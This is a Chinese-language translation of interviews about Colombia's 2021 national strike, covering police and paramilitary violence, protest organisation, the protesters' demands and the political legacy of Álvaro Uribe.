由于这种情况，夜间的活动受到限制，或在进行时必须非常谨慎，因为正如一些人权组织所证实的那样，夜间人们的生命得不到保障（白天也有攻击和虐待，但程度要小得多）。一些抵抗点通过很好地保护自己和躲在附近设法坚持下来了，而其他组织较少或经验较少的人们则在夜幕降临时撤出，在白天再夺回他们的空间。这是罢工头几天最痛苦的教训之一，因为很多人在那些夜晚被谋杀。(官方统计几乎没有报告任何信息，非政府组织也因为案件的数量过大而无法拿出一个具体的数字，但是一家当地报纸提到5月2日有22人死亡，加上之后发生的死亡）。

警察的暴力行为非常激烈，首先是来自ESMAD（机动防暴中队），这是一支20多年前专门为镇压社会抗议活动而设立的警察部队。他们使用的多种武器都违反了将伤害降到最低的既定协议。这就是为什么已经有超过**20**人因被**ESMAD**射杀而失去了眼睛。他们使用装有豆袋弹药的12号霰弹枪，与2019年11月迪兰·克鲁兹在波哥大被谋杀的是同一种东西。

- 如果您错过了《警用武器常见伤害及基本处理方法：示威参与者指南（*6*）》

这些只是合法的战术，即使使用不当也仍然被认可；但是，警察也会使用枪支来对付社区。**ESMAD** 和普通警察经常使用未登记的枪支，这样他们就不会留下证据。隐藏身份号码也是常见的做法，警察经常

假扮成平民或渗透到游行队伍中。

波哥大的***GRIETA***：从大罢工的第一天起，我们就对国家的暴力感到震惊。我们已经知道他们在武器装备和镇压资源方面进行了巨大的投资，但在行动中直接看到这些武器依然是很可怕的。

在最初的几个晚上，警察的暴力采取了侵犯人权的形式，如殴打、任意逮捕和非法搜查；ESMAD首次在他们的装甲车上部署了一种名为毒液的新武器；这东西耗资4亿哥伦比亚比索[约11万美元]，有三个隔间，每个隔间以**45**度角发射**10**枚弹丸，携带催泪瓦斯和闪光弹。这种武器以前从未在拉丁美洲使用过，甚至在独裁统治最激烈的时期也没有。

晚上，人们出去封锁和守住主要街道，他们设置路障和火力，只需等待 ESMAD 决定用它现有的部队和坦克进行攻击。随着时间的推移，事情已经升级，特别是在卡利。国家部队的攻击一如既往，但人权运动也开始报告性暴力案件，谋杀已被证实，还有数量惊人的失踪者，他们后来在河流和农村地区被发现已经死亡。

不过，最严重的事态之一是城市的军事化和准军事化。在哥伦比亚武装部队的支持下，发生了一场大屠杀。白天，用合法的所谓“非致命”武器进行镇压，但到了晚上，国家切断了人们聚集的街区的电力，追捕人们，封锁互联网和手机信号，并审查 **Facebook** 和 **Instagram** 直播，而武装的平民则攻击了反抗的青年、原住民明加，以及任何被认为有不同想法或行为的人。这清楚地表明，准军事主义一直困扰着这个地区，并不打算轻易放弃其权力。自罢工开始以来，催泪瓦斯就被大量用于对付抗议者。

在任何像这样的起义中，总是有很多组织，不一定发生在街头，从外面可能很难看到。你能描述一下这些滋养和加强起义的努力吗？

卡利的媒体活动家：除了年轻人把自己的性命绑在前线上，与镇压面对面，并保持集中点屹立不倒之外，整个家庭也在大力参与。特别是母亲们从社区厨房参与进来，为每一位抗议者提供食物。医疗队在社区篮球场、会议厅和邻居家设立了行动，在建立集中点的过程中也发挥了至关重要的作用。在许多街区和许多集中点，社区都通过捐赠食物和药品参与进来。人们的东西不多，但仅有的一点总是足够分享的。

此外，长期存在的组织和运动也主要通过提供各种形式的后勤援助来参与。人权记录和另类媒体报道是不可缺少的；但是，由于集中点的

数量之大，这两项任务都没有完成到需要的程度。

抵达卡利后，来自考卡（考卡山谷以南的省份，卡利位于该省）的土著运动利用几十年的组织和社会动员经验，寻求与封锁的人们进行对话，以共同工作并提供帮助。面对如此极端的警察暴力，医疗队是罢工支持的重要组成部分。

波哥大的***GRIETA***：我们认为，日常生活的再生产和彼此照顾的劳动是根本。它们是使反抗每天都能发展的因素。这些劳动采取邻里社区厨房和亲情网络的形式，由于伊万·杜克的 Uribista 政府领导的哥伦比亚国家的谋杀、酷刑、失踪、性虐待和系统性暴力的升级，这些劳动越来越强大。

示威者正在使用什么战术和策略？是否出现了新的策略？

卡利的媒体活动家：在城市的入口处有封锁，有效地停止了生产和消费，在工人阶级社区有其他封锁。组织的基础是对地形的了解和邻居的支持。简易路障被建在一个宽阔的周边，以便同时守住几条街道，并将警察挡在外面。“前线” 用于冲突和防御，然后是第二线和第三线，执行各种其他任务。这里有安全屋，以备攻击，还有食品储备和一个治疗区，装备齐全，可用于急救和稳定伤员的情况。

波哥大***GRIETA***：在过去几周的示威活动中，我们看到了各种各样的战略和战术。就战术而言，我们可以提到不断的动员和游行，这些活动不仅发生在大城市，也发生在以前从未发生过起义或示威的中等城市和市镇。占领、锅碗瓢盆示威和文化行动（表演、舞蹈）在示威活动中占有重要地位，因为它们创造了学习空间，可以向那些可能对抗议活动感到冷漠的人解释游行背后的动机。涂鸦和壁画也被策略性地用来谴责税收改革（“动员的主要动机”）和示威者在警察手中遭受的国家镇压。

不同社会部门和阶级之间的互助和团结，也使动员会能够在几周的街头活动中生存下来，并不断受到国家和准军事部队的过度镇压，他们在城市中可以自由地杀人。这在卡利、佩雷拉和其他城市都可以看到，在警察的陪同下，武装平民向示威者或本土卫队开火。这清楚地表明，这个准军事国家目前使用多年来只在农村地区出现的战术来剥夺土著人民和农民的土地。

这种镇压导致了斗争的不同部分之间一贯的团结以及经济、道德和象征性的支持。动员会助长了国家忽视和极端镇压所产生的愤怒。一个突出的例子是在卡利发生的事，在那里，土著警卫队离开了他们的领

土，与在该城市动员起来的人们一起陪伴、保卫和战斗。这一姿态和其他许多姿态表明，是街头的斗争团结恢复了革命精神，而他们一直试图从我们身上 —— 这个国家和世界的下层阶级中打出革命精神。年轻人推动了这场起义，他们将自己的身体置于危险之中，为一个他们可以生活的世界而奋斗。

描述一下准军事组织的情况？准军事组织做了什么，他们如何与国家协调，以及示威者如何回应？

卡利的媒体活动家：在哥伦比亚，准军事主义是一种进行秘密军事行动的力量，并在捍卫私有财产和重建秩序方面推崇法西斯主义的说法。其行动方式是打破封锁点的安全围栏，乘车进入，从远距离射击。这有两个目的：杀人和制造恐怖。封锁点一直保持着强大的力量，因为一旦发生这样的事，抗议者的增援部队就会从其他封锁点赶来，对伤员进行救治，并设法保持高昂的士气和战斗力。

准军事现象非常复杂，随着过去几天的行动，我们已经看到了以前从未使用过的战术。必须澄清的是，“准军事” 一词包括一些不同的行为者，其共同点是与武装部队协调或由武装部队允许的行动。至少有四个主要行为者：

- 穿着便衣的武装部队向抗议者开枪。抗议者在本土卫队的帮助下，至少记录了两起这样的案例。由于没有身份证明，他们得以非法行事。
- 由有权势的人雇佣的杀手团体，进行特定的攻击或暗杀。
- 极右翼极端分子（其中许多人与贩毒有关）出于优越感，自称 “好公民” 和真正的爱国者。在机构的支持下，他们将 “正义” 掌握在自己手中，攻击被大众媒体抹黑为罪犯的抗议者。这就是2021年5月9日在 Ciudad Jardín和通往Jamundí[卡利的两个高档郊区]的路上发生的事。
- 未复员的准军事部队，对哥伦比亚的某些领土行使控制权。

波哥大的***GRIETA***：哥伦比亚的准军事主义采取了与国家平行的 “准国家” 组织的形式，这些组织在1980年代末出现，与哥伦比亚军方勾结，打击游击队。2005年国家与准军事组织之间的和平谈判并没有完全消除这些组织；它们的影子一直存在于哥伦比亚，特别是在 “黑鹰”（Águilas Negras）的形象中。

在过去的几年里，“黑鹰” 似乎不像以前的准军事组织那样有明确的组织结构；他们更像是哥伦比亚国家、毒品贩子、哥伦比亚境内的矿业公司、非法采矿利益集团和其他方面用来威胁和杀害那些阻碍资本主

义积累的反抗运动领袖 —— 也就是说，来自农村地区的积累。正因为如此，关键地区的土著人、非洲裔哥伦比亚人和环保主义者的战士们受到的影响最大。

然而，在目前的罢工中，我们看到了一些不同的情况：镇压抗议活动的不是隐藏在“黑衣人”名字后面的其他行为者；而是公开的国家，不加掩饰的。事实上，阿尔瓦罗·乌里韦公开邀请军队和警察向抗议者开火，他称抗议者为“破坏性的恐怖分子”。

我们还看到了另一种现象：武装的“平民”向游行的人们开火。但这些平民要么是不穿制服的警察，要么看起来是具有明显新纳粹特征的人。后者可能类似于美国的白人至上主义者。当然，这并不排除“黑鹰”出现的可能性，他们可能与哥伦比亚武装部队和警察有联系，而且可能以威胁罢工中最明显的反抗运动领导人的形式出现。一面横幅展示了哥伦比亚准国家的几个臭名昭著的人物。

这种反抗需要什么来坚持和传播？

卡利的媒体活动家：时间是民众罢工的最大敌人。随着供应短缺的开始，社区可能会转向反对封锁点。但是，在这些抵抗部门中，贫困和国家的忽视是如此的极端，年轻人已经没有什么可失去的了，坚持反抗就能有很多可获得的。

国家没有进行谈判或试图达成协议，而是通过将城市军事化以确保所谓的公共秩序来回应罢工。这激怒了更多的中产阶级，他们基于现有的可能性和知识，终于加入了支持罢工的行列。

波哥大的***GRIET***：在过去十年左右的时间里，哥伦比亚经历了越来越多的社会动员。其中比较强烈的表现是2011年和2018年的学生罢课，2013年的农民罢工，以及土著人的明加。2019年，在2016年与哥伦比亚革命武装力量达成和平协议后，发生了一次总罢工，与以前的罢工不同，这次罢工似乎并没有集中在任何一个特定的部门，无论是学生、农民还是土著人。它扩展到了整个人口。我们看到这种趋势在目前的罢工中获得了动力：虽然土著人和学生运动积极参与，但这似乎是植根于一种普遍的、集体的不安，反对日益增长的生活不稳定和由 Uribismo 体现的当代新法西斯主义。

抗议的加强是一个缓慢的过程，也取决于当时的条件。我认为这给我们留下了一个教训：我们必须尊重民众运动的节奏，有起有伏，而不是向运动施压以提高效率。这是一个缓慢的过程。

也就是说，我认为我们必须关心这个运动，从多个角度支持它——在社区厨房、民众集会、参加游行、反思、支持前线，等等，总是试图扩大它，但不要过度努力，不必试图看到立竿见影的结果。我们认为这其中有一个关键因素：不要让一个从一开始就是异质性的和分散化的运动被某一个政党或总统的愿望所俘获。为了照顾运动的生命力，它必须继续拥有强大的民众支持，最重要的是，这种支持必须继续增长；否则，它将失去活力。传统和新颖的舞蹈表演已经成为罢工期间哥伦比亚街头发生的丰富文化表现形式的一部分。

无政府主义者在起义中发挥了什么样的作用？

波哥大的***GRIETA***：无政府主义者的主要作用是参与民众运动的行动，传播思想，分享我们的政治伦理，并从其他新颖的行动中学习，如 Vogueart 的表演，其中三位变性女士在警察和父权制的象征面前跳舞。

我们的作用还在于促进罢工在虚拟平台上的能见度，作为面向世界的扩音器。我们认为，产生国际对话，从无政府主义和自由意志主义的角度分析正在发生的事，也是重要的无政府主义活动。

你还有什么要补充的吗？

波哥大***GRIETA***：在我们的理解中，这些天的抗议和反抗背后的一个有趣的特点是运动的标志性。这似乎是南方无政府主义的一个特点，它在反殖民主义、反资本主义、反采掘主义和反父权制的行动中都有表现。自从土著米萨克人推翻了卡利的塞巴斯蒂安·德·贝拉尔卡萨尔 (Sebastián de Belalcázar) 的纪念碑和波哥大的冈萨罗·希门内斯·德·奎萨达 (Gonzalo Jiménez de Quesada)的纪念碑，其他团体也试图在多个城市的暴力对抗中推倒纪念碑。他们还袭击了资本主义的标志，如银行和为经济精英服务的公共和私人机构。

【注：Sebastián de Belalcázar 和 Gonzalo Jiménez de Quesada 分别是卡利和波哥大的创始人，他们是象征殖民枷锁的人物。他们以对土著人民的种族灭绝为代价建立了这些城市。】

另一个我们认为值得强调的行动发生在推特上，哥伦比亚的 K-pop 粉丝通过集体行动成功地封锁了 Uribista 和反罢工的标签。这一贡献在数字层面上很重要，因为极右翼的说辞也是在互联网上产生的，它们旨在误导许多人反对动员活动。

最后，所有系统性的国家暴力导致了一个 “母亲前线’ 的产生，其中包

括在这次罢工中被谋杀的许多青年人的母亲。这表明了在哥伦比亚发生的事的社会和政治严重性，同时也表明了一个民族的有尊严的起义。一群母亲决定组织起来保卫这场抗议运动，证明愤怒和不满已经以令人眩晕的速度普遍化了。显然，我们庆祝这些行动。

自主的人民斗争崛起了，国家及其政府的压迫性枷锁掉落了!“我们是勇敢者的母亲”

Part III

「图」

哥伦比亚人不仅仅想要一个新政府 —— 他们想要结束新自由主义

「图」

哥伦比亚进入全国性罢工的第三周时，示威者仍然没有任何离开街道的迹象。从4月28日开始，在抗议倒退的税收改革的一天，罢工浪潮的规模不断扩大，并蔓延到全国，因为罢工者形成了反对右翼总统伊万·杜克的政府和前总统阿尔瓦罗·乌里韦的政治机器的共同阵线。

国际头条新闻集中报道了哥伦比亚警察和武装部队对抗议者的血腥镇压。例如，《纽约时报》报道说，曾经参与打击 “左翼游击队和准军事部队” 的警察现在正将其强大的火力转向平民。

然而，国际媒体在很大程度上忘记了哥伦比亚政府几十年来一直在与左翼、工人和农民组织以及社会运动进行战争。自21世纪初反叛乱战争成为乌里韦政府的核心以来，国家主导的恐怖主义一直是管理哥伦比亚日益严重的不平等和新自由主义带来的社会分裂的首选方法。

在这个意义上，抗议者不仅仅是在呼吁警察改革，他们还在呼吁结束哥伦比亚的不平等制度，这种制度只能在枪口下维持。

哥伦比亚国立大学麦德林分校教授、《伦敦书评》专栏作家福雷斯特·海尔顿（Forrest Hylton）从事哥伦比亚政治的写作和报道已超过25年。他与雅各宾的特约编辑 Nicolas Allen 讨论了罢工者的要求、uribismo合法性的削弱，以及抗议活动对哥伦比亚政治和哥伦比亚左翼回归可能产生的更广泛的影响。

NA：能否解释下*4*月*28*日第一次全国性行动的起因吗，以及从那时起

是什么让抗议者一直坚持在街头？

一切都始于前财政部长阿尔贝托·卡拉斯基利亚（Alberto Carrasquilla）提出的累退税方案，该方案将对一系列对人们的日常需求和生存至关重要的商品和服务征收19%的税：水、电、天然气、汽油，以及面粉、谷物、面食、盐、牛奶和咖啡等基本生活品。这一累退税方案是在2019年的类似提案之后提出的，该提案也引发了全国性的大罢工。在2019年，改革给了企业和银行业一整套减税和免税措施，这是财政赤字的一个原因。

两次打击的关键区别在于大流行病。哥伦比亚国家统计局的统计数据表明，去年的贫困率上升了7%，实际上可以说比这一数字要高得多。官方统计说，哥伦比亚42.5%的人口生活在贫困中 —— 同样，这个数字实际上可能要高得多。大约50%到60%的哥伦比亚人在非正规部门工作。

哥伦比亚有世界上最长和最严格的封锁之一，没有实施普遍的基本收入规定。因此，对于底层的一半人口来说，这真的只是一种自由落体。但是，还必须强调哥伦比亚中产阶级的情况是多么不稳定，他们受到了大流行病的严重打击。对许多人来说，有偿就业将枯竭。就人均COVID-19的病例和死亡人数而言，哥伦比亚分别排在世界第十一位和第十位。哥伦比亚的卫生保健系统目前在波哥大已经崩溃，在全国范围内，除了腐败和对大流行病的管理不善外，什么都没有。

在这种情况下，累退税方案实际上将使一半以上的人口无法继续像现在这样生存下去，对另外四分之一的人来说也接近于不可能。因此，这就是触发这次从4月28日开始的大规模起义的原因，也是为什么在哥伦比亚的所有主要城市和农村地区进行全国性动员，举行大规模游行的原因。

这是一场由那些被哥伦比亚特别邪恶的新自由主义和反动组合所剥夺的人们的全国性起义。受这一流行病和现状影响最严重的阶级世代 —— 城市边缘地区的年轻非正式的无产阶级 —— 是这些抗议活动的前沿和骨干，并且首当其冲地受到警察的镇压和军事化威胁。年轻人站在前线，母亲和祖母们在照顾他们（即为他们提供食物和住所）。

这是该国最大的一个阶级世代，而迄今为止，它还没有正式的政治代表。这就是为什么全国罢工委员会 —— 像2018年赢得42%选票的参议员古斯塔沃·佩特罗 —— 只有如此的代表性的主要原因。这让我们回到了1977年伟大的公民罢工，但规模要大得多。而且，游击队并没有像当时那样兴风作浪，而是几乎完全缺席/被取消。哥伦比亚军队

和它的连体婴儿—— 准军事部队也是如此。因此，哥伦比亚历史上第一次出现了潜在的城市左翼。

NA：此后，伊万·杜克总统淡化了税改法案中一些更明显的倒退内容。然而，抗议活动仍在继续，而且随着抗议活动的进行，我们开始看到除了撤销税改之外，还出现了各种要求。这些要求有哪些，参与抗议活动的团体有哪些？

税制改革在抗议活动开始后几乎立即被废除，因为抗议活动的规模远远超过政府的预期或准备。但是，尽管财政部长辞职，税收方案被废除，抗议活动实际上只是一直在增加而不是减少。而这部分是因为政府还想推行医疗和养老金改革，这将进一步打击中产阶级和非正式无产阶级。警察于 2021 年 5 月 10 日在哥伦比亚卡利举行的反政府抗议活动中逮捕了示威者。（LUIS ROBAYO/AFP via Getty Images）

也许值得一提的是，只有大约4.5%的哥伦比亚劳动者属于工会。因此，即使是主要的工会中心和教师工会召集了罢工，在这一点上，全国罢工委员会（目前正坐下来与政府对话）就街头的实际情况而言，其影响力也是非常有限的。

在街道上，你会看到有各种各样的部门被动员起来，无论是在社会意义上还是在地理意义上，而且有巨大的需求多样性，以及广泛的分散化。几乎所有属于任何一种组织的人都被动员起来了，大量不属于任何组织的年轻人也出现在街头。卡车司机的罢工在阻止货物进出城市和城镇方面非常重要。在所有有组织的运动中，学生运动的人数可能是最多的。部分原因是新自由主义改革措施使高等教育商品化，在这个过程中使大量学生负债，并使上大学的人数倍增。大多数游行者要求的另一件事是可以称为和平预算的东西：摆脱对武装部队和警察的投资，以及哥伦比亚在美国支持下长期维持的那种过度军事化的镇压状态。

除了上述提到的部门之外，当然还有原住民运动，特别是来自考卡和西南部的原住民，他们从自己的家乡动员到卡利市，这一点非常重要。至少在过去15年左右，考卡省的运动虽然相对较小，但经常成为全国人民运动的一种引爆器。这也包括非洲裔哥伦比亚人运动，该运动主要集中在太平洋沿岸，其提出的要求涉及渔业、土地权、采矿、生态、和平、以及归还被盗土地。

女权运动 —— 在上届政府中深入参与且基础广泛的和平运动 —— 在近代哥伦比亚出现的大规模城市进步政治中不可或缺。现在，女权运动、LGBTQ和最进步的部门（如土著和非洲裔哥伦比亚少数民族）在

2018年投票给古斯塔沃·佩特罗，让他赢得了42%的选票 —— 远远超出了哥伦比亚任何左翼候选人的成就。这导致他的批评者声称，佩特罗在某种程度上领导了这些抗议活动，或者抗议者在追随他的脚步 —— 尽管事实上他在大部分时间里都尽可能地站在一边，并呼吁抗议者解除封锁。

换句话说，这场抗议活动不是来自有组织的、政治上的左翼。退休人员协会非常活跃，高中生、医护人员、城市社区协会等也非常活跃。邻里组织特别能使这种抵抗高度分散，在邻里举行夜间会议、集会和抗议活动。最后，文化部门—— 艺术家、音乐家、演员、喜剧演员、学者—— 也大量参与进来。抗议活动中纯粹的年轻创造力是其最显著的特征之一。

全国罢工委员会有18项要求。很难说这些要求对整个运动有多大的代表性，也很难说当地的积极分子 —— 如果你愿意的话，称为基层人员—— 有多少人能接受委员会的谈判角色是合法的。而在每个运动内部，领导层和普通参与者之间也存在着紧张关系。

在任何情况下，抗议者都希望哥伦比亚政府和FARC叛军在2016年签署的和平协议得到落实。他们都希望结束系统性腐败；彻底解散军事化的防暴警察；政府遵守2019年与学生签署的协议；进行新型的税收改革，使之成为累进制而非累退制；对医疗保健进行公共投资（哥伦比亚的医疗保健系统完全按照美国模式进行私有化）；结束对运动领袖的暗杀，到目前为止，这种暗杀几乎只发生在农村地区。自2016年底签署和平协议以来，已有超过一千名哥伦比亚社会运动领导人被暗杀。

另一个要求是执行性别平等。自大流行病发生以来，妇女的年度贫困率上升了20%，当然，妇女在工资和薪水方面受到歧视，更不用说照顾家庭的所有无偿劳动了，以及对妇女的暴力行为，她们在抗议活动中强调，防暴警察曾性骚扰和强奸抗议者。

另一个核心要求是保护野生动物和环境。哥伦比亚是地球上生物多样性最丰富的国家之一，此外还有墨西哥和巴西。巴西占据了所有环境破坏的头条，但哥伦比亚也不遑多让。与这些环境问题有关，抗议者要求对采矿业和能源公司进行监管，因为这些公司的运作基本上不受限制，并在其运作区域内维持自己的一套治外法权。

抗议者呼吁进行渐进式的养老金改革，而不是倒退式的私有化措施。他们希望有一个更具参与性的预算，以及进步的劳动法改革，而不是政府试图引入国会的倒退的劳动法措施。另一个关键要求是归还被盗

的土地：大约有500或600万公顷的土地被当权者从农民手中盗取，大部分是由准军事部队以所谓的“消灭共产主义游击队”的名义进行的。

还有许多其他的要求，就像被动员起来的不同群体一样，它们是相当异质的。但是，通过所有的多样性—— 也许甚至是零散的—— 基本的要求是哥伦比亚国家提供**1991**年宪法中概述的社会福利的基本承诺。因此，可以说这是一场自由民主的革命，是未来的公民共同抵抗过去三四十年来建立的专制的、寡头的、新自由主义的维稳国家和社会。

NA：你提到中产阶级对抗议活动的空前参与。我们甚至在波哥大的富人区看到了要求杜克辞职的涂鸦。人们可以感觉到，政府在城市中产阶级中的支持确实在削弱。

我作为该国主要公立大学的教授参与了2019年的罢工，我认为可以说，当时和现在一样，我们看到了城市中产阶级的一种类似的呼声。特别是在波哥大，2019年，在你想不到的街区，我们看到公民集会在首都各地举行。但就中产阶级和非正式无产阶级的参与而言，这一次的规模要大得多。

使这些抗议活动具有历史意义的部分原因是，现在已经连续两周多的罢工行动。货物和服务的流动已经停止，其程度完全不同于我们近年来所看到的任何情况。

与2019年一样，城市中产阶级如此大举出动，在媒体表现方面确实很重要。与非正式的无产阶级不同，城市中产阶级有办法质疑政府的官方说法，政府谎称抗议活动“是由破坏者和贩毒游击队推动的”。正如1948年全国性的城市起义以来，政府谎称这是一个“大的共产主义阴谋”。

哥伦比亚的冷战剧本，将平民抗议者与游击队战士等同起来，从未改变。但现实本身已经发生了变化—— 而且是巨大的变化。由于其年轻成员的努力，哥伦比亚受过教育的城市中产阶级根本不再相信冷战的说法，这种说法已经并将继续影响哥伦比亚的大部分政治。

NA：然而，从政府正在实施的镇压措施来看，他们似乎确实认为这种说法能够获胜。正在实施的恐怖措施表明杜克想通过加强暴力和将冲突重新描述为“反共产主义战争的一部分”来强加冷战的说法。这样做成功的几率有多大？

在2016年签署和平协议后，FARC完全维护了协议的一部分，而政府没有。哥伦比亚的每个人都知道这一点—— 政府尽一切可能破坏和平协议，而且如果要证明镇压非暴力抗议的合理性，它在某种程度上需要这种冲突继续下去，这已经成为共识。

在2019年的大罢工期间，政府试图通过声称学生示威者与所谓的恐怖主义（即游击队）组织有关联而将其污名化和定罪。但是这条路线并没有成功，部分原因是学生能够在哥伦比亚媒体上成功地对这种说法提出异议。民众的看法已经完全转变，公民对警察暴行—— 包括谋杀—— 的视频的流传为此做出了贡献。

近年来，政府没有像经常在农村地区那样，对城市中产阶级和城市周边的工人发动致命的镇压。然而，特别是考虑到抗议活动的规模，政府的操作理论是，如果它能用足够的重炮、坦克和直升机打击抗议者，最终人们就会被吓得屈服。必须强调的是，如果抗议活动拖延下去，政府的策略可能会奏效。

政府的策略并不取决于大量的合法性，而是取决于必要性：这意味着基本上让尽可能多的地方和人挨饿，让大规模的粮食短缺积累起来—— 通过忽视囤积和投机—— 直到城市需要军事大篷车运来粮食。这样做的目的是，随着匮乏程度的增加，人们会因为疲惫和不甘心而反对抗议活动，到那时，政府就可以对抗议者发动更猛烈的镇压。

与此同时，政府正试图进行部门谈判。他们将尝试与地区罢工委员会进行谈判，并通过与全国罢工委员会进行对话的方式。每个人都知道这些对话不会是认真的，但政府可能试图收买地区罢工委员会。但同样，全国罢工委员会也不一定都有代表性，所以现在还不清楚如何通过谈判达成解决方案。

- 如果您错过了《如何抵制当权者通过招安分化公民反抗运动：柔性镇压的两种手段》

NA： 把镜头拉回来，从更广泛的哥伦比亚政治经济角度来看待抗议活动可能是有益的。进行累退税改革的主要动机是为了解决哥伦比亚的深刻财政危机。而解决这一危机对于政府升级国家基础设施网络的计划尤为关键，这将吸引外国资本并增加出口收入—— 同时扩大采掘业的疆域。

从这个角度看，你认为抗议活动有可能将明显不同的需求联系起来吗，比如大众消费和社会福利，以及环境保护和原住民权利？

如果你看一下全国罢工委员会正在谈判的要点，有一些问题是围绕采矿、能源、环境污染、森林砍伐、野生动物、原住民领地等。因此，几乎四分之一的要求都与改革目前基于采矿、能源开采和农业综合企业的经济模式有关。2016年政府和哥伦比亚革命武装力量之间的和平协议中并没有涵盖这一点。当然，这种模式是由跨国公司主导的，而且基本上是由政客的客户网络以及新准军事人员促成的，他们保证采矿、能源和农业边界的产权。

最近，一些有趣的事发生了：历史上保守的农村城镇在公民投票中大量投票反对在其领土上进行采掘活动。越来越多的人认为，这种采掘活动不仅仅是对环境的破坏，其背后的经济模式也越来越受到质疑。

与20世纪90年代初实施的经济改革有关的哥伦比亚新自由主义模式正在受到审判。这个系统受到一个臃肿的、由美国支持的维稳国家的保护—— 一个拥有大量警察和军队的国安国家，为了执行新自由主义模式，他们对平民百姓发动了攻击。随着这个系统越来越倒退，人们—— 尤其是年轻人 —— 越来越多地表示，这不可能是哥伦比亚的未来，因为这不是一个可以谈论的未来。

所以，是的，我们不能把对自由主义社会福利国家的要求与哥伦比亚政治经济的相当大规模的重新定位分开。事实上，哥伦比亚在20世纪50年代到70年代的国民阵线期间，已经开始构建一个国家制造业基地，内部市场将哥伦比亚的各个城市和地区相互连接起来。人们并不是在呼吁回到早期的发展模式，或者与之相伴的冷战时期的两党共识政治，而是呼吁建立某种更倾向于国家发展的模式，创建一个国家市场，对财富和收入进行一些再分配，并减轻城市和农村的不平等。对新自由主义模式的摒弃可能还不是一蹴而就的。但可以肯定的是，该模式中有关医疗保健、教育、养老金、劳动法和一系列其他公共产品的主要计划和纲领正在受到争议。

哥伦比亚常年是拉丁美洲最不平等的国家之一，而拉丁美洲又是世界上最不平等的地区。从这个意义上说，哥伦比亚的冷战反叛乱国家是为一个令人难以置信的排他性经济模式提供子弹的必要条件。而杜克上台后所做的唯一一件事，就是在层出不穷的腐败丑闻中，以最淫秽、最丑陋的方式深化了这种模式。2021 年 5 月 15 日，人们在波哥大的英雄纪念碑前抗议政府。（RAUL ARBOLEDA/AFP via Getty Images）

要拆除反叛乱的国安国家和它所保证的那种防弹的新自由主义经济模式，当然还有很长的路要走。但是，从最近的全国性罢工来看，哥伦比亚的年轻人似乎是在做长期的工作。这一代哥伦比亚人经历了令人

难以置信的广泛而深入的政治化。

我之所以说长期，是因为如果说哥伦比亚政治中的任何力量有九条命的话，那就是 uribismo 和极右翼前总统阿尔瓦罗·乌里韦持久的政治影响了。乌里韦在民主中心党的势力也许还有一些弹药，但我认为他们更可能已经耗尽。

NA：说到乌里韦，你能介绍下他吗，以及乌里韦在哥伦比亚政治中代表什么？还有一个相关的问题，你认为这次危机对他在*21*世纪初建立的政治体制有多大的影响？

阿尔瓦罗·乌里韦在2002至2010年期间担任哥伦比亚总统。他目前正在接受最高法院的调查，罪名是贿赂和篡改证人。虽然很难将任何事归咎于乌里韦，但有相当多的间接证据表明，他在2006年至2010年担任总统期间是一名战犯。

你之前提到的 “误报” 丑闻是一个重大事件：军队在城市周边地区失踪了大约一万名年轻的平民，以夸大尸体数量，并说他们对FARC叛乱分子发动了一场成功的战役。美国通过 “哥伦比亚计划”、“爱国者计划” 及其在克林顿、布什和奥巴马时期的后续计划为这场反叛乱战争提供了大量资金。

乌里韦与这样的观点有关，即：在针对所谓的共产主义恐怖主义颠覆分子的武装冲突中，你不能保持中立：公民需要加入反叛乱国家的行列，并应与军队和警察积极合作。在这一努力中，乌里韦认为所有的策略都是合法的，包括强迫流离失所、人员失踪、法外谋杀、酷刑、贩运毒品、收买选票、威胁司法官员直至最高法院法官—— 所有这些都是。

1995年至97年，乌里韦担任哥伦比亚人口最多的安蒂奥基亚省省长时，他就基本上将准军事主义合法化了；后来，当他担任总统时，准军事主义在很大程度上被制度化，或与国家并列，特别是在国家主权以外的边境地区，这些地区通过军队、准军事部队和警察的联合恐怖活动得到控制。

在过去的二十年里，乌里韦在哥伦比亚政治的几乎所有方面都投下了长期的阴影。在胡安·曼努埃尔·桑托斯（Juan Manuel Santos）执政期间 —— 尽管他是乌里韦的国防部长，但他代表了一种稍微温和、开明的新自由主义 —— 与哥伦比亚革命武装力量的和平进程开始了，而乌里韦成为桑托斯政府最重要的反对人物。

我们已经谈到了年轻人、大学生和高中生。他们是最完全拒绝这种腐败的、反叛乱的黑手党国家对哥伦比亚社会的控制的人。他们真的想要一个自由的福利国家和社会，而且他们愿意以非暴力方式进行斗争 —— 甚至牺牲 —— 来实现这一目标。这里发生了一些代际因素，年轻人基本上表达了对乌里韦和他所代表的政治的全盘拒绝。他们的勇气和英雄主义的能力是真实的，很难被夸大，甚至在拉丁美洲的背景下也很突出，因为那里的国家压迫往往比全球北方大几个数量级。

NA：你已经提到了陷入困境的和平进程，并解释了反叛乱的持续理由如何成为哥伦比亚更广泛的社会变革的障碍。你能多说一点关于准军事团体近年来是如何被重新激活的吗？

政府和FARC叛军在2016年底签署的和平协议有一系列的规定。他们并没有真正触及城市问题 —— 他们旨在改善农村的生活，并为FARC的复员士兵赞助合作社和生产性就业。但这并没有发生，中层指挥官和普通士兵却被这些新准军事团体逐一追杀。同时，FARC的一名谈判代表将因贩毒指控被引渡到美国。

早些时候，当他还是总统时，乌里韦就所谓的准军事人员复员进行了谈判。一些准军事组织领导人开始谈论他们与政客、商人和军方官员的关系，包括当时的总统乌里韦，因此他在2008年迅速将他们引渡到美国。然而，大多数人却逍遥法外，照常工作 —— 无论是毒品、枪支和对领土的控制，还是对公共工程、私有化的医疗保健系统，甚至一些公立和私立大学的控制。因此，准军事组织有点变形 —— 他们的面包和黄油仍然是毒品交易，但他们在2008年后主要对增加利润和领土控制感兴趣，并将其经济收益转化为政治收益。他们在这方面取得了令人难以置信的成功，特别是在采矿、能源和农业综合企业的前沿领域。

因此，这就是为什么自和平协议签署以来，农村地区的社会运动积极分子被如此大规模地消灭的原因之一。农村人比他们在城市的同行们更有组织性和战斗性，他们在桑托斯总统领导下发动的全国性农业罢工就是见证。

我认为学生和原住民运动的一个有趣之处在于，他们一直坚持其宪法规定的抗议权利—— 他们触动了人们的神经，并呼吁人们认清反叛乱国家的专制性质，后者对任何社会不一致的迹象都会做出不相称的和谋杀性的反应。

如果抗议活动持续更长的时间，我们将开始看到是否会重新启动更公开的准军事力量的使用。我们已经看到了很多便衣警察向示威者开火

的证据，他们往往是在没有车牌的车辆上。曾经被称为准军事部队的东西和我们现在看到的那种国家恐怖之间只有一线之隔，但到目前为止，像游击队一样，准军事部队明显缺席。军队也是一样。但这可能会改变。然而，我要重复一遍，uribismo 是一支被严重轻视了的力量，是其鼎盛时期的一个影子。

